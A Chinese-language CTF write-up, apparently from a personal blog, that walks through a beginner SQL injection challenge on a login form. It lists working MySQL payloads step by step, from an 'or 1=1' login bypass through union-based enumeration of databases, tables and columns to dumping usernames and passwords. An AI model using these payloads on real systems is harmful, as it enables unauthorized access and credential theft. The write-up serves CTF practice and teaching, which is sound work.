说实在的,我挖出过的第一个真实漏洞就是sql漏洞。但是ctf我最讨厌的也是sql漏洞。sql花样太多了,各种注入,过滤,哎。。。这也是我为什么一直没做sql题目的原因。但是既然选择玩ctf,还是要硬着头皮上,先来个简单的当做复习吧。

已经知道这是sql的题目了,直接注入吧。
sql第一步肯定要知道是否存在过滤的。这题是入门级别,没过滤啥东西。然后尝试闭合符号,而且这种登录框,一定要尝试万能密码 。
123' or 1=1#
如果使用双引号则返回错误。单引号闭合成功。这里也不能用'--+'注释后面的单引号。以后的sql都尝试一下就即可知道用哪个

给了我密码,最初以为是md5值,其实就是单纯的长密码QAQ。为什么要给admin的密码呢?我也不知道有什么用。。。反正我实验了一下,名字与密码都能注入,不管对错。。。我选择在密码里注入
接下来就直接看步骤吧
1' order by 4#

1' order by 3#

暴点
1' union select 1,2,3#

查询数据库名称
1' union select 1,database(),3#

查询表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#

查询列名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

查询表里数据
1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#

这是最基础的mysql注入,如果不知道为什么这么构造payload简易学一下,不然很多东西看着还是很突兀的。还有就是最后一步**一定要加上group_concat()**以回显所有数据,因为表里边的数据很多,如果不加上只会回显第一行数据。
已经看见flag了,右键源代码复制粘贴即可